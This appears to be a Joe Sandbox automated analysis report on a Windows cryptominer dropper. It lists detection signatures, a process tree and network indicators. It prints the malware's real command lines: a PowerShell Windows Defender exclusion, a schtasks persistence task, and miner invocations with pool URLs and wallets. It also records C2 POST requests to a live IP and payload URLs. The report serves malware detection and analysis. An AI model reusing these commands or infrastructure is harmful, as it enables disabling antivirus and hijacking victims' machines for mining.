Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
gOKMPhOLiN.exe

Overview

General Information

Sample Name:gOKMPhOLiN.exe
Analysis ID:777145
MD5:4c8d2d06487d07ec350aa5c5d699bb55
SHA1:adc4aa68f5aa4b0ea3f9a2ee82100234caea5b2d
SHA256:5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567
Infos:

Detection

Phoenix Miner, ccminer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Detected unpacking (overwrites its own PE header)
Yara detected AntiVM3
Detected unpacking (changes PE section rights)
Yara detected ccminer
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Yara detected Phoenix Miner
Sigma detected: Xmrig
Snort IDS alert for network traffic
Hides threads from debuggers
Writes to foreign memory regions
Found strings related to Crypto-Mining
.NET source code references suspicious native API functions
Drops executable to a common third party application directory
Machine Learning detection for sample
Injects a PE file into a foreign processes
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
Adds a directory exclusion to Windows Defender
Uses schtasks.exe or at.exe to add and modify task schedules
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Drops PE files to the application program directory (C:\ProgramData)
One or more processes crash
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
AV process strings found (often used to terminate AV products)
Found inlined nop instructions (likely shell or obfuscated code)
PE file does not import any functions
Sample file is different than original file name gathered from version info
Drops PE files
Tries to load missing DLLs
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Dropped file seen in connection with other malware
Creates a process in suspended mode (likely to inject code)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Classification

Process Tree

  • System is w10x64native
  • gOKMPhOLiN.exe (PID: 5648 cmdline: C:\Users\user\Desktop\gOKMPhOLiN.exe MD5: 4C8D2D06487D07EC350AA5C5D699BB55)
    • ghoul.exe (PID: 2012 cmdline: "C:\Users\user\AppData\Local\Temp\ghoul.exe" MD5: 813862D29C21094EBD1F95FEB80771FF)
      • powershell.exe (PID: 3468 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData' MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • cmd.exe (PID: 7272 cmdline: C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
        • schtasks.exe (PID: 5780 cmdline: schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe" MD5: 796B784E98008854C27F4B18D287BA30)
      • vbc.exe (PID: 4788 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3 MD5: A526DE1F9DE51E1ACBC6B8A492673174)
        • cmd.exe (PID: 2196 cmdline: C:\Windows\system32\cmd.exe /c cls MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 5620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • RegSvcs.exe (PID: 4024 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0 MD5: DC67ADE51149EC0C373A379473895BA1)
  • PFCIA.exe (PID: 4436 cmdline: C:\ProgramData\Adobe\PFCIA.exe MD5: 97909699172AB2BE8E24FDC58CCE308E)
    • powershell.exe (PID: 6168 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData' MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7924 cmdline: C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6152 cmdline: schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe" MD5: 796B784E98008854C27F4B18D287BA30)
    • RegSvcs.exe (PID: 7104 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0 MD5: DC67ADE51149EC0C373A379473895BA1)
    • WerFault.exe (PID: 3116 cmdline: C:\Windows\system32\WerFault.exe -u -p 4436 -s 864 MD5: 5C06542FED8EE68994D43938E7326D75)
  • PFCIA.exe (PID: 6552 cmdline: C:\ProgramData\Adobe\PFCIA.exe MD5: 97909699172AB2BE8E24FDC58CCE308E)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000001D.00000002.96506568876.00000000041CA000.00000004.00000800.00020000.00000000.sdmpCoinMiner_StringsDetects mining pool protocol string in ExecutableFlorian Roth
  • 0x4:$sa1: stratum+tcp://
  • 0x1ec4:$sa1: stratum+tcp://
0000001D.00000002.96506568876.00000000041CA000.00000004.00000800.00020000.00000000.sdmpPUA_Crypto_Mining_CommandLine_Indicators_Oct21Detects command line parameters often used by crypto mining softwareFlorian Roth
  • 0x0:$s04: -o stratum+tcp://
  • 0x1ec0:$s04: -o stratum+tcp://
0000001D.00000002.96524111396.00000000042A2000.00000004.00000800.00020000.00000000.sdmpCoinMiner_StringsDetects mining pool protocol string in ExecutableFlorian Roth
  • 0xcbc:$sa1: stratum+tcp://
  • 0xd6c:$sa1: stratum+tcp://
  • 0xef4:$sa1: stratum+tcp://
0000001D.00000002.96524111396.00000000042A2000.00000004.00000800.00020000.00000000.sdmpPUA_Crypto_Mining_CommandLine_Indicators_Oct21Detects command line parameters often used by crypto mining softwareFlorian Roth
  • 0xcb8:$s04: -o stratum+tcp://
  • 0xd68:$s04: -o stratum+tcp://
  • 0xef0:$s04: -o stratum+tcp://
0000001D.00000002.96518345191.0000000004260000.00000004.00000800.00020000.00000000.sdmpCoinMiner_StringsDetects mining pool protocol string in ExecutableFlorian Roth
  • 0x1134:$sa1: stratum+tcp://
  • 0x11e4:$sa1: stratum+tcp://
  • 0x136c:$sa1: stratum+tcp://
Click to see the 273 entries

Unpacked PEs

SourceRuleDescriptionAuthorStrings
13.0.vbc.exe.140000000.0.unpackXMRIG_Monero_MinerDetects Monero mining softwareFlorian Roth
  • 0x7fdf4:$s2: --cpu-affinity
  • 0x7f816:$s4: password for mining server
13.0.vbc.exe.140000000.0.unpackBTC_Miner_lsass1_chrome_2Detects a Bitcoin MinerFlorian Roth
  • 0x7f78c:$x2: -O, --userpass=U:P username:password pair for mining server
13.0.vbc.exe.140000000.0.unpackCoinMiner_StringsDetects mining pool protocol string in ExecutableFlorian Roth
  • 0x7df00:$sa1: stratum+tcp://
  • 0x81dc0:$sa1: stratum+tcp://
  • 0x824d8:$sa1: stratum+tcp://
13.0.vbc.exe.140000000.0.unpackPUA_CryptoMiner_Jan19_1Detects Crypto Miner stringsFlorian Roth
  • 0x824b0:$s1: Stratum notify: invalid Merkle branch
13.0.vbc.exe.140000000.0.unpackJoeSecurity_ccminerYara detected ccminerJoe Security

    Sigma Signatures

    Bitcoin Miner

    barindex
    Sigma detected: Xmrig
    Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\ghoul.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\ghoul.exe, ParentProcessId: 2012, ParentProcessName: ghoul.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3, ProcessId: 4788, ProcessName: vbc.exe

    Snort Signatures

    Timestamp:192.168.11.20179.43.141.11649869802042945 01/03/23-08:16:05.580097
    SID:2042945
    Source Port:49869
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Multi AV Scanner detection for submitted file
    Source: gOKMPhOLiN.exeVirustotal: Detection: 32%Perma Link
    Source: gOKMPhOLiN.exeReversingLabs: Detection: 23%
    Antivirus detection for URL or domain
    Source: http://pesterbdd.com/images/Pester.pngAvira URL Cloud: Label: malware
    Source: http://pesterbdd.com/images/Pester.pnghAvira URL Cloud: Label: malware
    Source: http://pesterbdd.com/images/Pester.pngXzAvira URL Cloud: Label: malware
    Antivirus detection for dropped file
    Source: C:\ProgramData\Adobe\PFCIA.exeAvira: detection malicious, Label: HEUR/AGEN.1231966
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeAvira: detection malicious, Label: HEUR/AGEN.1231966
    Multi AV Scanner detection for dropped file
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeReversingLabs: Detection: 52%
    Machine Learning detection for sample
    Source: gOKMPhOLiN.exeJoe Sandbox ML: detected
    Machine Learning detection for dropped file
    Source: C:\ProgramData\Adobe\PFCIA.exeJoe Sandbox ML: detected
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeJoe Sandbox ML: detected

    Bitcoin Miner

    barindex
    Yara detected ccminer
    Source: Yara matchFile source: 13.0.vbc.exe.140000000.0.unpack, type: UNPACKEDPE
    Source: Yara matchFile source: 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
    Source: Yara matchFile source: 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
    Source: Yara matchFile source: Process Memory Space: vbc.exe PID: 4788, type: MEMORYSTR
    Yara detected Phoenix Miner
    Source: Yara matchFile source: 00000010.00000003.92361391154.000002A213D48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
    Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 4024, type: MEMORYSTR
    Found strings related to Crypto-Mining
    Source: vbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
    Source: vbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: cryptonight
    Source: vbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
    Source: vbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: -o, --url=URL URL of mining server

    Compliance

    barindex
    Detected unpacking (overwrites its own PE header)
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeUnpacked PE file: 1.2.gOKMPhOLiN.exe.740000.0.unpack
    Source: gOKMPhOLiN.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: gOKMPhOLiN.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
    Source: Binary string: System.Xml.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.ni.pdbRSDS source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Windows.Forms.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Drawing.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Configuration.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Xml.pdbPW source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Configuration.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Drawing.ni.pdbRSDS source: WER780E.tmp.dmp.26.dr
    Source: Binary string: mscorlib.ni.pdbRSDSz source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Xml.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Xml.ni.pdbRSDS# source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.pdbPW source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Windows.Forms.ni.pdbRSDSX source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Windows.Forms.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: mscorlib.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Drawing.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Management.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: mscorlib.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Management.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Management.ni.pdbRSDS6 source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.ni.pdb source: WER780E.tmp.dmp.26.dr
    Source: Binary string: System.Core.ni.pdbRSDS source: WER780E.tmp.dmp.26.dr
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h1_2_02CC209C
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h1_2_02CC20A8
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 4x nop then mov ecx, dword ptr [ebp-4Ch]1_2_09C62B90
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 4x nop then mov ecx, dword ptr [ebp-4Ch]1_2_09C62B98
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 4x nop then mov eax, dword ptr [ebp-2Ch]1_2_09C66DB8

    Networking

    barindex
    Snort IDS alert for network traffic
    Source: TrafficSnort IDS: 2042945 ET TROJAN Phonk Trojan CnC Checkin (POST) 192.168.11.20:49869 -> 179.43.141.116:80
    Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
    Source: Joe Sandbox ViewASN Name: PLI-ASCH PLI-ASCH
    Source: global trafficHTTP traffic detected: POST /BEBRA.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 179.43.141.116Content-Length: 174985Expect: 100-continueConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: POST /VERBORROV.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 179.43.141.116Content-Length: 13Expect: 100-continue
    Source: global trafficHTTP traffic detected: GET //zima.php?mine=OTHER HTTP/1.1Host: f0758246.xsph.ruConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: POST /DLCGHOUL.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 179.43.141.116Content-Length: 13Expect: 100-continue
    Source: global trafficHTTP traffic detected: GET //zima.php?mine=ETC HTTP/1.1Host: f0758246.xsph.ru
    Source: global trafficHTTP traffic detected: GET //zima.php?mine=ETC HTTP/1.1Host: f0758246.xsph.ruConnection: Keep-Alive
    Source: Joe Sandbox ViewIP Address: 179.43.141.116 179.43.141.116
    Source: global trafficTCP traffic: 192.168.11.20:49870 -> 149.56.27.47:3956
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: unknownTCP traffic detected without corresponding DNS query: 179.43.141.116
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://179.43.141.116/
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://179.43.141.116/DLCGHOUL.php
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://179.43.141.116/DLEBEBRA2.php
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://179.43.141.116/DLIMSORRY.php
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://179.43.141.116/NLIFE.php
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://179.43.141.116/VERBORROV.php
    Source: powershell.exe, 00000006.00000002.92025149337.000001722A4FC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.#
    Source: powershell.exe, 00000006.00000002.92025149337.000001722A4FC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.93102431992.000001FE7DD50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
    Source: powershell.exe, 00000006.00000002.92023161354.000001722A4C5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.93102431992.000001FE7DD50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f0758246.xsph.ru/
    Source: PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f0758246.xsph.ru/-1001843156960onvbc.exe/zima.php?mine=XMR/zima.php?mine=OTHERapgenzxcphonkid
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fontfabrik.com
    Source: vbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://github.com/monkins1010/ccminer
    Source: vbc.exe, 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://na.luckpool.net:3956
    Source: vbc.exe, 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://na.luckpool.net:3956/
    Source: powershell.exe, 00000006.00000003.91651185541.0000017213984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
    Source: powershell.exe, 00000006.00000002.92025149337.000001722A4FC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://osoft.co
    Source: powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
    Source: powershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
    Source: powershell.exe, 00000006.00000002.91962120114.000001721380B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.pngh
    Source: powershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92832196401.000001FE001BD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: powershell.exe, 00000006.00000002.91830440067.00000172124A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92814546028.000001FE00001000.00000004.00000800.00020000.00000000.sdmp, PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
    Source: powershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92832196401.000001FE001BD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
    Source: Amcache.hve.26.drString found in binary or memory: http://upx.sf.net
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
    Source: powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
    Source: powershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
    Source: powershell.exe, 00000006.00000002.91962120114.000001721380B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
    Source: powershell.exe, 00000006.00000002.92032163132.000001722A789000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.1emEp
    Source: RegSvcs.exe, 00000010.00000002.92542982428.000000014078F000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://www.openssl.org/support/faq.html
    Source: RegSvcs.exe, 00000010.00000002.92542982428.000000014078F000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://www.openssl.org/support/faq.html.
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
    Source: gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
